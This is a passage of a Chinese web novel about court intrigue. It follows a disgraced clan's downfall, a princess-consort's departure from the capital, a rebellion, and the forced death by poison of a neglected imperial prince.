不管以前对关子棋有多满意,现在都这样了,自然要先顾自己。幸好没孩子,二嫁也容易些。 “但是……”宜宁郡主心中不忍。 秦昊也跟着劝,“姐姐还是先去休息吧。” 陈侧妃和秦昊连哄带骗的,总算是把宜宁郡主哄走了。 楚王爷轻叹口气,起身去了前书房。 慕容宁受伤后,一直在前书房休养,己无生命危险,只是伤的太重,必须卧床休养。 门口护卫看到楚王爷,扬声往里头传话。 楚王爷并不在意,推门进去。 慕容宁刚坐起身,背靠着大引枕,慕容弦坐在床边,手里端着药碗,侍侯慕容宁喝药。 北齐和南魏的使团都走了,唯独慕容氏还没走,本就是降臣,早走晚走没那么在意。 “王爷。”慕容宁看到他,轻声招呼着。 慕容弦眉头微微皱起,他对苏天翊的不喜,是因为苏天翊行事针对慕容氏,属于公务上的不喜,就像北齐恨不得把苏天翊扒皮抽筋一样。 而对楚王爷,慕容弦就是瞧不上,一个男人,怎么能无能成这样。 自己的阿姐,这般人物,怎么能跟这样无能又窝囊的男人成亲,而且还是那么多年,太委屈了。 “是我的不巧,打扰你喝药了。”楚王爷话说的小心翼翼。 慕容宁浑身血被抬回来的时候,他快吓死了。 一堆大夫围着慕容宁,又有慕容弦在身侧,他连靠近都不能。 “没事。”慕容宁说着,接过药碗,把药喝了,空碗交给慕容弦。 慕容弦接过空碗,对楚王爷说着,“王爷,可还有事?” 楚王爷摇摇头,“无事,我只是来看看王妃。” 既使慕容宁没说,他也知道,伤好之后,她就要回西北了。 关太后拒绝了,但关太后己经死了,慕容宁又为救显庆皇帝受伤。 显庆皇帝会放她走的,而这一走,将不会再回来。 只是想到此处,楚王爷眼泪都落了下来,只觉得心痛不己。 这段婚姻,本就是太勉强,能当这么多年夫妻,他也该知足了。 “这些年来,多谢王爷的照顾。”慕容弦声音中带着沙哑。 己到分别之时,虽然如愿己偿,但二十年京城生活,一朝离别,心情不禁十分复杂。 尤其此时看到楚王爷,心中不禁涌起几分歉意。 楚王爷是因为爱慕她,才想娶她,娶了她,也好好待她。 “快别这么说,是我该感谢你才对。”楚王爷擦着眼泪说,“你把王府管的很好,世子也教的好。” 他明白,这是慕容宁的回报。 感情上回报不了,就回报在其他方面。 慕容宁沉默,敛下眸子,好一会才说,“以后由世子打理王府,王爷也可无忧了。” 楚王爷心中悲伤更甚,低声轻喃着,“相伴十年,感激不尽。” 第200章 第 200 章 “父亲,母亲………… “父亲, 母亲……” 关氏一身孝服,跪在灵前,哭的不能自抑。 苏玫与苏越跟着跪灵,也是满脸泪水, 痛哭不止。 都知道关家要出事, 怎么也没想到, 事情出的如此快。 抄家下狱, 关氏甚至来不及派苏越去打点,就传来了死讯。 关父被关进牢里后, 当天晚上自杀了。 关母是被吓死的,抄家的阵仗太大,年龄大了,受不了刺激,活活吓死了。 抄家时这种情况很常见, 一般来说,尸体都是随意处置。到抄家地步的,除了需要审问的主犯外, 其他人死活没人在意。 京兆尹却很懂事, 知道关氏是苏家三太太, 掏钱置办了棺材,把尸身收敛后, 给苏家送了消息。 苏天佑带着苏越过来, 把棺椁拉到了青云寺,在青云寺发丧安葬。 苏天佑料理丧事,苏震岳以及谷夫人,苏天华,叶氏都来上了香。 至于关家人的亲友, 一网打尽都在牢里。葬仪上十分冷清,苏天佑请了高僧做法事,超度亡灵。 “太太,您先把参汤喝了。”张婆子端着碗,递到关氏面前,又对旁边苏玫和苏越说,“三姑娘和四爷也去吃点东西,这样熬着,人要撑不住的。” 关氏哭的上气不接下气,跪灵三天,哭昏了好几次,此时整个人都是萎靡的。 推开张婆子送来的参汤,径自问着,“可有家中其他人的消息?” 张婆子没回答,却是说,“此事还得太太料理,现在您养好身子最重要。” 关家的事,哪是一个下人能去打听的,至少也得苏越出面去打听安排。 结果关氏带着苏玫和苏越来守灵,当然,外公外婆的丧事,是该如此。 但活人总比死人重要,救人是有黄金时间的, 要是关氏让苏越在青云寺呆够四十九天,回去肯定是继续收尸。 只是这些话,张婆子又不敢直说出来。 苏天佑以及整个苏家对关家的态度,看着苏玫和苏越,可以帮忙收尸,其他的一概不管。 要是关氏真让苏越去管了,苏天佑以及苏家肯定不会高兴,到时候只怕三房的日子难过。 以苏家与关家的关系,能给政敌收尸,己经是厚道人家了。 “是啊,母亲,您身体好了,才能看顾舅舅。”苏玫也跟着劝关氏。 苏越也跟着劝,关氏终于喝了参汤,虽然提了口气,整个人己经疲惫不堪。 终于三天守灵结束,苏玫扶着关氏去厢房休息,她也跟着睡了。 休息了两天,关氏身体恢复了些,虽然依然悲伤不己,脑子却清醒了许多。 三人一起吃了饭,关氏就对苏越说着,“越哥儿,你既然想娶秀姐儿,就赶紧把秀姐儿娶了吧。” 苏钰问过苏越,苏越说过,他是想娶关秀秀的。 苏越一愣,刚想开口,苏玫就道:“母亲,此事不妥。” 她虽然不在现场,但苏越跟她说了当时的情况。 谷夫人的意思很明白,就是苏越愿意娶,关秀秀能不能进门,也要看一年内关家会不会出事。 关秀秀赌输了,一年不到,关家出了事。 所谓愿赌服输,事后想反悔,可没那么容易。 关氏脸色一僵,自知理亏,却不禁说着,“但是,越哥儿自己也想娶。” 苏玫不禁摇摇头,语气重了些,“关家现在被抄家灭族,有大半都是苏家所为,这样的媳妇怎么娶。” 要是性格不好,长相不好,或者门第配不上,哪怕女儿家不检点,都可以说是小事,可以商议。 但血海深仇,这样的女儿娶到自己家,晚上睡觉都膈应。 谷夫人立下一年之约,大概是觉得,一年之内关家肯定会完蛋,才拿话堵关家的嘴。 上回苏越与关灵灵的婚事,谷夫人己经把话说明白,苏越不能娶关家女。 关氏顿时哑然,眼泪跟着落了下来,“我也是姓关的,我也是关家女儿。” 死的是她父母,在牢里的是她的兄嫂,她现在只想自己的娘家侄女有个好结果。 但你现在是苏家的媳妇,当两方是生死血仇时,就只能占一边,占不了两头。 心里如此想着,苏玫张张嘴,到底没把话说出口,语气却是放缓了,“母亲要是担心,就让越哥儿去打听打听,现在是什么情况,该接的先接出来。” 薛迟对于关家女眷的处置,十分宽容。 成婚的,有和离书即可领走。未婚的,只要拿一纸婚书就可以带走,年幼的也可以被亲友领走。 这些天过去,两位舅母,以及嫂子们被接走的可能性很大。要是没人接走,就先把人接出来安置,再商议去哪里。 至于关秀秀,弄不好己经被接走了,她若是有了去处,也绝了关氏的心思。 最好,都不要留在京城。 关氏泪如雨下,连苏玫都这样说了,心中苦涩难当,看向苏越,“越哥儿,你也这么想的吗?” 苏越蠕动着嘴唇,低头不语,心里却是认同苏玫。 他同意娶关秀秀只是事己至此,他不得不负责。谷夫人立下一年之约时,他心里是松口气的,他并不想娶关秀秀。 除了感情上的不喜欢,更不想被一个完全不喜欢的人拖累前程。 年龄一天天大了,苏越看看家中的兄弟姐妹,苏略、叶峰是比他年长,但成就也是他骑马都追不上的。 苏钰是太子妃,未来的皇后。苏邑只比他大一点,也早早有了武职。 至于罗星,不在普通人类范围,不参于讨论。 没人愿意吊车尾,苏越也不想。 只是读书读不进去,习武也就那样,实在是比不过。 幸运的是,苏家正鼎盛之时,背靠大树好乘凉,靠着家里,他想出仕机会也很多。 也不用做多大的官,成多大的事,不拖后腿,不吃闲饭即可。 这一切设想,都是靠背着苏家才有的。 连苏玫都明白,他若是这时候娶了关家女,就是没人指责他,前途上不会拦着他,但也不会助他。 而他又是需要家族助力才能出仕的,他不想为了一个完全没有感情的女子,耽搁了前程。 关氏见苏越低头不语,哪里不明白,心中难受,却也不想跟儿女再争,“都依你们。” “我一定会把舅母她们接出来,母亲放心。”苏越说着。 顶着苏家四爷的名头,事情办的非常快,连程序都没有,直接放人。 虽然薛迟对关家女眷十分宽容,被带走的女眷,连五分之一都没有。 姻亲关系多是利益交往,有一家出事,被连累的姻亲更多。 自身都难保了,下一个都要抄自己家了,哪里还顾得这些。 苏越把两位舅妈,以及表嫂,表妹,还有怀抱的表侄子都接出来。又让管事在城外租了一套小院,让她们暂时落脚休整。 因为都是女眷,苏越想想留下两个年龄大的男仆,又拿了一包银子给关大太太。 “越哥儿,你真的不娶秀姐儿吗?”关大太太泪流满面,紧紧抓住苏越。 一个月不到,原本的贵妇人完全变了样子,头发花白,整个人瘦的不成样子。 要不是苏越亲自把人领出来的,他都不敢认。 苏越别开脸,脸上带着愧疚,态度却很坚决,“当日老太太说过,一年后再议亲事,您是答应了的。” 愿赌服输,现在反悔就没意思了。 “但是,但是……” 关大太太哭泣不止,紧握着苏越的衣袖。 “母亲,您快别如此。”关秀秀上前,拉住关大太太,苏越总算是脱身了。 关大奶奶见状,扶着关大太太进到里屋,堂屋里只剩下关秀秀和苏越两个。 “多谢表哥相救。”关秀秀给苏越行礼。 苏越见到关秀秀,越发觉得尴尬,连忙摆摆手,“本就是我份内之事。” 关秀秀叹气道:“哪有什么份内的,被关了这么多天,最后还是要靠表哥相救。” 患难见人心,关家没出事时,各种各样的亲戚,多如牛毛。 真出事了,这时候能搭把手的,才是亲人。 苏越不知道如何应对,索性沉默。 “我知道表哥不愿意娶我,是我强人所难了。母亲是担心我,表哥勿怪。”关秀秀话音一转,看向苏越。 “只是有一件事,我想求表哥。” 苏越马上说着,“你说,只要我能做到的,定会鼎力相助。” “表哥给的银子,是能让我们支撑一阵子,但我们孤儿寡母的总得有个营生。我想求表哥,给我们一处京城外的庄子。”关秀秀恳且说着。 像她们这样的罪臣妻女,先不说抛头露面搞营生不现实。只是经营这一项,也没人会。 最好的,就是有个庄子,每年都有出息,虽然钱少,但胜在稳定。 苏越微微一愣,没想到关秀秀会让他帮这个忙。 “庄子倒是容易,只是你要如何经营。”苏越不禁说着。 在他原本的想法里,因为有愧于关秀秀,他是想着补给她一笔钱。 “母亲早就把陪房放了出去,他们一家三口,丈夫是管事的,可以当个庄头,帮忙料理。”关秀秀说着,热切的看着苏越,“当然,还要表哥给当地的知府写封信。” 当初关大太太与她说,让她使计嫁给苏越时,她就想过,关家都要抄家了,就是生米煮熟了,苏越也很有可能不娶她。 不过,关家所有的亲友里,只有苏家确定不会出事。只是关氏在婆家并不得丈夫婆婆喜爱,能给娘家的帮助很有限。 苏越是个好人,人也很老实。若是与她有什么了,就是不能娶她,也肯定会觉得亏欠了她。 这份亏欠就是她需要的,孤儿寡母远离京城,就是陪房一家随行,前路也太难了。 要是有苏越的帮助,那就完全不同。不需要苏越为她做什么,只要给当地的地方官打声招呼,让她们这些异乡人,不至于被人夺财害命。 万一有解决不了的难事,给苏越写封信,也能帮忙解决。 能嫁给苏越自然最好,实在不行,用清白换来一家人的平安,也不亏。 第 201 章【VIP】 第201章 第 201 章 半个月后,苏越拿…… 半个月后, 苏越拿来了地契,两个庄子。 一个关氏出钱买的,一个是苏越拿出所有私房,又问苏玫借了钱买的庄子。 两处庄子都在江南, 离京城很远, 管事去买的, 看过现场, 据说庄子很不错。 当地的县令,也姓苏, 也不知道怎么攀的亲,硬是扯出了亲戚关系。管事也懒得理会,县令再三保证照顾好关家的孤儿寡妇。 “多谢表哥。”关秀秀接了地契,下跪道谢。 苏越吓了一大跳,连忙摆手, “表妹不用如此。” 关秀秀却是郑重的磕了个头,“我与母亲商议过,近期就会离开京城。父亲与兄长……还要表哥照看。” 说着, 关秀秀眼泪流了下来, 说是照看, 其实是收尸。 关家女眷可以领走,男人, 尤其是成年男子, 绝对走不了的。不管审理结果如何,大概率砍头,小概率流放,绝无赦免可能。 按关大太太的意思,总是要等丈夫儿子的结果出来, 反正都这样了,要死也得死个明白。 关秀秀却不认同,主要是关楚河还没有归案。 要是关楚河再搞出别的事来,关家的罪名一旦加重,对女眷的处罚也会随之加重,到时候能不能走了就不好说了。 虽然这样对父兄显得无情无义了,但都这样了,还是能活一个是一个,总好过一家子死一起。 关大奶奶也跟着劝,她的孩子才几个月,差点死在牢里,好不容易出来了,她只想赶紧离开。 她也算是命好的,娘家不管,跟着婆婆出来,小姑子张罗了两处庄子,至少生活不愁了。 在媳妇和女儿的劝说下,又看着襁褓中孙子,关大太太终于含泪同意。 关家三口加一个孩子,关大太太陪房一家三口,行李几乎是没有。苏越派了两辆车,指派了一个管事,两个护院跟随,送她们一行人去江南。 临走前一天,关氏和苏玫来送行。 关氏抱着关大太太哭的不能自抑,还是被苏玫劝开的。 “此回一别,只怕再无相见之日。”关大太太哭泣说着,“妹妹,你是有福气,珍重。” 关家女儿的福,关氏享了。苏家媳妇的福,关氏也享了,在一众女子中,是最有福的。 “嫂子,你们也要保重。”关氏哭着说,“常写信回来。” 关大太太点头,心里却知道,苏家能帮她们到这种程度,很大原因是苏越的愧疚,以后再想苏家帮忙,就要十分谨慎了。 终于众人上了车,苏玫扶着痛哭不止的关氏,看着渐行渐远的车驾,眼中的泪也是止不住。 关氏一直哭泣不止,不知道京中情况,她是知道的。 现在京城最热闹的地方是牙行,关家被抄家,主子们等着认领,下人则是直接发卖。 关家主子多,下人更多,一家人被卖的天南地北,一生再不得相见是常事。 幸运的是,他们只是下人,主人家的事不会牵连他们。又因为是高门大户出来的,很多富商愿意买。 要是运气好,遇到不错的主子,下半辈子还能活的不错。 惨的是关家主子,关家女眷太多,这么久了还没被领走的,被领走的概率就小了。 一直关着不现实,这么多人吃喝拉撒,管起来也费劲。 只怕用了多久,没有被领走的女眷,就会入奴籍发卖。官奴籍脱籍很难不说,关家这样的大族,不知道多少龌龊男人等着买关家小姐。 前朝就有一例,本来是儿子的未婚妻,女方家倒霉后,不但不去帮忙解救,而是退了婚事。 等到女方被发卖时,爹出来买女方买走,原本的儿媳妇成了爹的通房丫头。 女子成玩物本就可怜,贵族女子一旦落魄成了玩物,会更可怜了。 “母亲,我们回去吧。”苏越说着。 看着车驾走远,他心里虽然也很难受,但事情终了,用这种方式还了亏欠,他也终于能舒口气。 关氏早就哭的站不住,被儿女扶着上了车。 回到家之后,关氏就生病了,一连串的打击,让关氏的身体彻底垮了。 苏玫和苏越轮流侍疾,幸好关氏在莲花庵养了一阵子,虽然庵堂清苦,身体却是养好了。 如此缠绵病榻一个月,关氏身体也慢慢好了。自此之后,关氏常年佛堂礼佛,一应事物全部不管,代发修行。 *** 冬天的第一场雪落下的时候,苏钰正在廊下围炉煮茶。 一袭月白锦缎狐裘,素手轻执一把紫砂壶,将新雪舀入壶中,置于红泥小火炉上烹煮。 “姑娘,明天王妃就离京。”胡婆子走过来小声说着。 休养了这么久,慕容宁伤势己无大碍。 今日早朝时,慕容弦再次上书,希望慕容宁回西北,显庆皇帝终于答应。 迟此生变,今天答应,明天就动身。在请旨前,使团就打包收拾好,可以马上出发。 苏钰的手顿了顿,眼眸微垂,长睫轻掩,轻声应着,“嗯。” 早知慕容宁会离去,可当确切的日期摆在眼前。尤其是如此仓促,心尖还是泛起了难以言说的酸涩。 十九载的母女情分,这一去,山高水远,今生恐再无相见之日。 往昔的点点滴滴在脑海中浮现,都似这炉上的茶香,丝丝缕缕萦绕心头,却即将消散在风中。 胡婆子踌躇片刻,又道:“大姑娘要不要与大老爷……” 她伺候慕容宁多年,对慕容宁的心思再清楚不过。 此番离去,慕容宁定是想见苏天翊一面。十年夫妻,虽说缘分已尽,但慕容宁的深情从未更改。 “我会和父亲一起去。”苏钰说着。 苏天翊回来后,父女见面的次数有限,聊天内容也是围着她来的。 苏天翊从来没有提过慕容宁,说起她也是以你母亲代称。 不是苏天翊受了情伤后不想提,而是他己经放下了。对他来说,慕容宁只是他女儿的母亲,再无一丝爱意。 现在要慕容宁要走了,苏天翊会去送她。 不看僧面看佛面,看着女儿,该做的他都会做。 果然,晚饭时分,苏天翊就派人传话,明天辰时与苏钰一起,给慕容宁送行。 刚送传话人,薛迟也派人送信过来。 慕容宁明天离京之事,他己知晓,他想明天与苏钰一起,给慕容宁送行。 母亲离开,对苏钰来说,是件大事。 苏钰想了想,还是回信拒绝了。 慕容宁和苏天翊,因为有她这个女儿在,大家还是利益一致的。 但是薛迟,他对慕容宁的离京,肯定是不赞同的。 就是与苏天翊,目前利益一致,君臣翁婿之间,只怕也是利益多于感情。 慕容宁都要离开了,她只想好好与母亲道别,与薛迟还是单独见面比较好。 次日清晨,苏钰早早起床,精心梳妆,准时候在二门。 车驾早己备好,苏略来的很快,他虽然对慕容宁厌恶极了,但苏天翊要去送行,他肯定也要去。 “大哥。”苏钰虽然笑着,脸上却是掩不住的落寞。 苏略道:“要下雪了,外头冷,你先进车里,父亲己经在路上。” 这些天来,苏天翊一直住在皇宫,保护显庆皇帝安全,偶尔也跟着讨论长生之术。 薛迟找来的练丹师也就位了,显庆皇帝本身也喜欢占卜,双方汇合后就是找到好朋友了。 相信用不了多久,显庆皇帝就可以跟阎王爷讨论如何长生了。 正说着,就见苏天翊匆匆进门,身上还穿着官服,看到苏钰和苏略,“一起坐车。” 三人同乘,护院以及侍卫,步伐整齐地跟在马车两侧,统一的黑色劲装,神色警惕地留意着周围的动静, 不等走到城门处,马车刚转弯就遇到了西北的车队。 与来时那浩浩荡荡,满载着各种奇珍异宝的阵仗相比,如今的车队精简了许多。 贡品全部奉上,虽说朝廷也会有回礼,可不过是按规制赏赐,东西不但很少,还廉价。 慕容弦骑马,慕容宁坐车,伤势虽说已无大碍,但为了更好地恢复元气,坐车自是更为稳妥。 京城的街道虽然够宽阔,但此时并不是送行之地。苏家车驾很自然的跟在西北使团的车队后面,一路向程外驶去。 直到出了城,地势宽阔了,使团的车驾停了下来,苏家的车驾也紧跟着停了下来。 慕容弦先行下马,随后快步到车驾前,扶着慕容宁下车。 苏家三人也从车上下来,苏钰的目光紧紧盯着慕容宁,不自觉地向着她走去。 苏略却很自觉得后退几步,站到外围,帮苏天翊警戒。 不知何时,雪花又悠悠地飘了下来,雪势不大,却裹挟着丝丝缕缕的冷意,轻轻落在众人的肩头。 “母亲。”苏钰轻声唤着。 昨晚她一夜未眠,脑海中不断翻涌着过往,与慕容宁相处的点点滴滴,设想了无数今日分别要说的话,可此时真的见到了,千言万语却似被梗在了喉咙,反而不知该从何说起。 慕容宁看着她,眼底是化不开的眷恋与不舍,只是心中早已有了决断,她绝不后悔。 “要好好照顾自己。” 慕容宁轻声说道, 苏天翊不会在京城久留,待他离去后,苏钰便没了这最大的依靠,往后的日子诸多艰难,以后能依靠的只有自己。 “我会安排好的。” 苏天翊说着。 慕容宁目光落到苏天翊身上,眼中的苦涩瞬间如潮水般涌来,几乎难以压抑。 这辈子,眼前这个男人是她唯一倾心爱过的,这份感情深深扎根在心底,时至今日,每次触及,依然让她心痛不已。 “保重。”苏天翊声音平和。 这一声出口,离别之时到了,周围的空气仿佛都凝固了一般。 慕容弦打破了这份沉默,上前一步,轻声说道:“阿姐,我们该上路了。” 慕容宁微微点头,姐弟俩转身欲走,慕容宁的脚步略显沉重,她下意识地想要回头。 她的女儿…… 慕容弦却强势的扳正她,不让她回头,“阿姐,我们回家。” 第 202 章【VIP】 第202章 第 202 章 关楚河造反了。 …… 关楚河造反了。 在关楚河入朝之初, 或者说关太后执政之初,便深谙兵权之重,紧紧把控着军权。 只是武将太难得,关家子弟众多, 能打的武将真不多。启用苏家多少有些不得己, 外敌环伺, 没有能打的将军, 守不住疆土。 出将入相,关楚河亦领过兵上过战场, 战功赫赫,只是战绩不如苏天翊。 只是京城局势更需要他坐阵,才长留京城,但手中也始终掌握着一支精锐之师。 现在要造反了,靠的自然是这支心腹精锐。 以大皇子之名, 关楚河打出“清君侧”的名号。 舆论先行,第一步便是对薛迟的身份提出质疑。 世人皆知,二皇子出生便夭折离世, 而晋阳长公主与薛驸马心怀鬼胎, 竟将自己的儿子冒充二皇子, 其狼子野心昭然若揭。 反观大皇子秦铮,身为皇长子, 秉持着 “国赖长君” 的古训, 是名正言顺的太子人选。 “吾乃父皇长子,当承大统。如今父皇被奸人蒙蔽,朝堂之上乌烟瘴气,我等臣子怎能坐视不理?此番清君侧,只为拨乱反正, 还天下一个清明!” “大皇子”激昂慷慨,跟在关楚河身侧,四处演讲,每每都说得众兵士热血沸腾。 关楚河在直隶起兵,消息几乎是瞬间传到京城。 显庆皇帝一直在研究长生之术,眼看着就要窥见门槛,要成为千古第一帝。 造反那么大的事,还是要管一管的。薛迟把奏折文案放到显庆皇帝的案头,大太监亲自念的,显庆皇帝没听完,就命人把大皇子秦铮押到跟前。 一柱香后,侍卫押着衣衫褴褛的大皇子,跪倒在养心殿前。 薛迟被封为太子的当天,秦铮就被严密控制,没有杀他,只是让他又住回了北五所,在原本的破屋子里,过以前的生活。 原本华丽的锦袍早已破碎不堪,补丁都没人给打一个,头发蓬乱如杂草,脸上满是污垢,全然不见初封睿王时的尊贵之态。 “孽子,你有何话说!” 皇帝怒声吼着,手中紧握着关楚河发的檄文。 秦铮被侍卫押着,木然跪在地上,眼神空洞,声音中透着深深的麻木与绝望:“儿臣一直在宫里,从未离开半步,并不知道父王所说之事。” 都不需要明眼人,但凡长着脑子的都该知道,他这个真皇长子一直在皇宫,跟在关楚河身旁 的那个 “大皇子”是假货。 都已经造反了,寻个借口而己,没有任何功绩,也没有任何人脉的大皇子,是真是假并不重要。 既使他投靠了关楚河,关楚河也从未管过他的死活。 荒谬是显庆皇帝,那么多人可以证明,他从未踏出皇宫一步,却能因为一个冒牌货就怪罪于他。 这是他亲爹,虽然从来没有期待过亲情,但看着这样的显庆皇帝,也不由的让他心底发冷。 “孽子,还敢狡辩,”显庆皇帝更怒了,根本就不去想其中逻辑,心里己经认定大皇子造反不孝。 果然,生儿子就要得要贵子,像大皇子这种逆子,根本就不配成为皇子。 如此想着,显庆皇帝心中的杀意顿起,“传朕旨意,大皇子造反,罪无可恕,赐死!” 秦铮没有辩解,也没有挣扎,任由侍卫押回了北五所。 赐死,一般有三种死法:毒酒、白绫和匕首。太监端着托盘,把三样东西摆在面前,面无表情地说道:“睿王殿下,请上路。” “我想洗把脸,换身衣服。”秦铮说着,唇角扯出一抹笑,满是自嘲与无奈,“总得死得体面些。” 太监神情不耐烦,刚想嘲讽几句,要死了还那么多事,就听门外传来薛迟的声音:“给他准备。” 太监马上变了脸色,点头哈腰地应道:“是,是。” 薛迟进到屋里,秦铮看着他,心知自己现在的下场,皆是拜薛迟所赐。眼中却没有怨恨,反而有种终于迎向结局的平静。 多少人羡慕能投胎帝王家,以为至少可以衣食无忧,不用为生计奔波。 而他这个大皇子,从小吃不饱,穿不暖,从来没有感受过任何温情,连基本生计都保障不了。 为了活下来,他装疯卖傻十几年,受尽了苦楚,其中的辛酸滋味只有他自己清楚。 年龄渐渐大了,人不能装疯卖傻一辈子,人活着,总得活出一个人样来。哪怕只是一时间的风光。 反正不管薛迟上位,还是三皇子上位,他都没有活路。 薛迟不会让他活着,因为他这个皇长子的身份,让他退无可退。就像关楚河造反会以他的名义,而不是三皇子的名义。 皇长子,这个名头太好用了。 关楚河赢了,三皇子继位,他这个皇长子就更该死了。 嫡长子还能压制皇长子,庶出三皇子,哪有资格跟皇长子争。 进也是死,退也死。 在最后一博的时候,秦铮还是选了关楚河。 因为与关楚河相比,薛迟更谨慎更危险。在关楚河手下,他还有一线生机。 在薛迟手下,他必死无疑。 果然,最后还是薛迟送他上路。 太监很快准备好水和干净的衣服,因为薛迟在此,便上前侍候着秦铮清洗整理。 “可有遗言?”薛迟问道,眼神中看不出什么情绪。 秦铮摇摇头,带着几分自嘲说道:“我倒是想留,但不知道要留给谁。” 别人的一生,说起来是悲剧,而他这一生,好似一个笑话。 秦铮端起托盘上的毒酒,仰头一饮而尽。 毒酒入喉,辛辣刺鼻,他的眼神瞬间变得空洞,脸色渐渐变得惨白如纸,嘴唇也泛起青紫之色,身体开始不受控制地颤抖起来。 要倒下时,秦铮捏了捏一直藏在怀里的香袋。 是那次苏钰送他的,大概是看他可怜。 他这一生,得到的唯一的善意,只有这一个香袋。 有时候他都在想,若是他生在宫外,哪怕是无父无母的乞丐,乞讨时也许都能遇到一个好人。 唯独这皇宫里,拜高踩低,每个人都在算计,唯独没有善意。 秦铮缓缓闭上双眼,可笑的一生终于过去,嘴角微微上扬,似是解脱,又似是遗憾,最终倒在地上,没了气息。 下辈子投成阿猫阿狗,再不愿进帝王家。 太监看着秦铮的脸色,上前试了试鼻息,小声说道:“回禀太子殿下,睿王己断气。” 薛迟眸色微沉,漆黑的眼眸里看不出什么,心中却泛起一丝复杂的情绪,语气平淡地吩咐着,“送到青云寺,好生安葬。” “是。”太监应着。 太监们张罗着收敛尸体,薛迟从屋里出来,步出北五所时,心情有些沉重。 大周朝的皇子,大多命运坎坷,但惨成秦铮这样的,也是不多见。 “把此处封了。”薛迟吩咐着。 又一个新年到来,因在关太后孝中,高门大户本就没有准备。 没想到战事起,新年直接在战争中度过,苏天华领兵对战关楚河。 按薛迟的意思,苏天翊出战最合适。 显庆皇帝却不愿意,他需要苏天翊去一趟南魏,寻找长生之术。 最后苏天翊举荐了苏天华,显庆皇帝允了。 关楚河在直隶起兵,战火的硝烟吹到京城的天空。京城百姓惶惶不可终日,达官贵人们更是胆战心惊。 因着关楚河的造反,关家人也不用再审,都谋逆了,没有审的必要,处罚随之而来。 十岁以上成年男子,全部砍头,十岁以下的,暂时收押。 关家女子己经被家人领走的,不再追究,被带走的孩子全部改姓,不准再姓关。 还在收押的,入奴籍插标发卖,京城卖不了,就拉到京外去卖。 总之,尽快处理掉。 与关家来往过密的亲友,也未能幸免。一时间,牢狱之中人满为患。重点人物审,不知道哪里来的小角色,没时间审,直接判。 幸好前头关家人杀的够快,牢房都空出来了,新的一批马上又住满。 薛迟亲自坐镇,督促六部加急审理这些案件。官员们战战兢兢,生怕一个不小心就被牵连其中。 “姑娘,今天的邸报。”绿川奉着邸报上前。 苏钰接过来看了一眼,每天的邸报,几乎都被死刑犯的名单占据。大概扫一眼,就知道又死了谁。 慕容宁己经清洗过一次,这回因关家之事引发的震荡,更是将那些盘根错节的清贵勋贵连根拔起。 大周朝历经二百余年,经历了数过君主,勋贵也好,清贵也罢都太多了。 杀杀杀,快刀斩乱麻。 “我听人说,承安伯府被抄家了。”绿川说着,脸上带着难掩的高兴。 承安伯府究竟是如何牵扯到谋反案中的,无人知晓具体细节,看到的就是,京兆尹进府抓人,男男女女皆没放过。 苏钰神情淡然,是她派人联络了夏书和,给了他方便。 夏书和的腿伤己经好了,就是没好,也不放过这个机会。 若是其他时间还得花心思找罪名,现在扯上谋逆,直接抄家下狱。 至于冤枉,以勋贵世家之间的来往,冤枉不了。 “夏老板身体己经好了,请来给姑娘请安。”绿川又说着。 苏钰虽然吩咐过,夏书和想来找她可以随时来,但夏书和行事谨慎,哪里敢冒然前来。 早在几天前,夏书和就找到她,让她代为传话。 “那就见吧。”苏钰说着,也该见见了。 第 203 章【VIP】 第203章 第 203 章 “姑娘之恩,夏某…… “姑娘之恩, 夏某肝脑涂地以报之。” 夏书和跪在正堂,恭敬的神情中带着感激。 苏钰第一次在后巷里救了他,是救了他的命。第二次救他,不止是帮他治了腿, 更给了他前程和未来。 连承安伯府的大仇, 他本以为还要几年, 也一并得报。 苏钰予他之恩, 上天入地以报之。 苏钰坐在主位上,脸上带着温和的笑意, 轻轻招手示意夏书和起身,“无须多礼,认识这些年,咱们都是熟人了。” 夏书和这才缓缓起身,低垂着头, 双手束手站在左侧,身姿微微躬着,以示恭敬。 苏钰目光落在夏书和身上, 语气平和, “听闻夏先生早年有神童之名, 只是造化弄人,被耽搁到现在。” 夏书和微微一怔, 想起那些被埋没的过往, 心中不禁泛起一阵苦涩,低声道:“姑娘谬赞了,那都是些过往虚名,不值一提。” 苏钰轻轻摇头,继续说道:“虽然现在不是读书的好时机, 但科举清流一派,不管何时都是重中之重,还是要多打交道的。” 科举考试不容易,苦读数十载,四十岁中进士的都是天才。 夏书和就是小时候有才名,丢开书本这么多年。现在去努力读书,十年都未必有出头之日。 苏钰不想让夏书和浪费时间,入官场的路子有很多,但其他途径入的官场,想与读书人清洗打好关系,就很不容易。 这时候夏书和的身世就有用了,论宣传造势没有比苏略更懂。 趁着承安伯府被抄家,把夏书和的身世好好包装一番,重提当年的神童之名。再请几个书院弟子当引导,让夏书和进入清流的圈子。 人脉经营是门学问,夏书和经商这些年,这是他的优势。 就是有人提起他经商的经历,那也是承安伯府打断他的腿,断他仕途,为了活命的不得己。 现在上天开眼,腿伤自愈,可以入仕了,马上拿起书本,加入清洗的行列。好好操作一番,哪怕科举没名次,也能成为仕子的典范。 夏书和琢磨着这话的意思,顿了一下才心翼翼说着,“奴才明白了。” 从夏某到奴才,夏书和这是彻底明白过来味了,苏钰唇角勾起一抹笑,“现在吏部正缺人手, 过几日你的任命书下来,好好当差。” 夏书和脸上的恭敬之意更甚,有动荡才有空缺,不然就是中了状元,随便一个七品官就可以打发,一个萝卜一个坑,没有坑,再多萝卜都没用。 这种时候,苏钰把他安排进吏部,用意再明显不过,躬身说着,“请主子放心,奴才绝不辜负主子的安排。” 苏钰满意的点点头,“你是个明白人,凡事不用我交代。去忙你的吧,有事我会让人知会你。” “是,奴才告退。”夏书和行礼说着,转身离开。 点到即止的谈话,等夏书和出了门,苏钰闭目养神。 慕容宁走了,再过不久,苏天翊也会离开,罗星也不会在京城久待。 苏震岳和谷夫人年龄大了,尤其是谷夫人,身体孱弱,早该退休怡养天年。 苏天华是将军,就是目前与周边各国签了和平条约,但所有和平都是以武力为支撑点。能够核平,才能和平。 常年领兵在外会是苏天华的常态,苏邑也会跟随在侧。 京城只有苏天佑一个人支撑,就是有叶峰,还显得单薄了些。 家族的荣耀兴衰,她必须得尽快适应新身份,未来的太子妃,皇后,她需要做的事太多了。 “姑娘,有程大人的信。”琉璃拿着信件进门,奉上信时,特别说明,“是程喻程大人。” 苏钰接过来,拆开慢慢看着。 与程喻的通信并不勤,两三个月一封,有些闲聊也有正事。 薛迟太子的身份公布,与程喻的关系,自然也就瞒不住了。 虽然远离京城,程喻也马上感受到了官场的如火热情,在信里甚至吐槽过吃不消。 “着人通知工部,你帮着些,给程大人准备官邸。”苏钰唤来太安吩咐着。 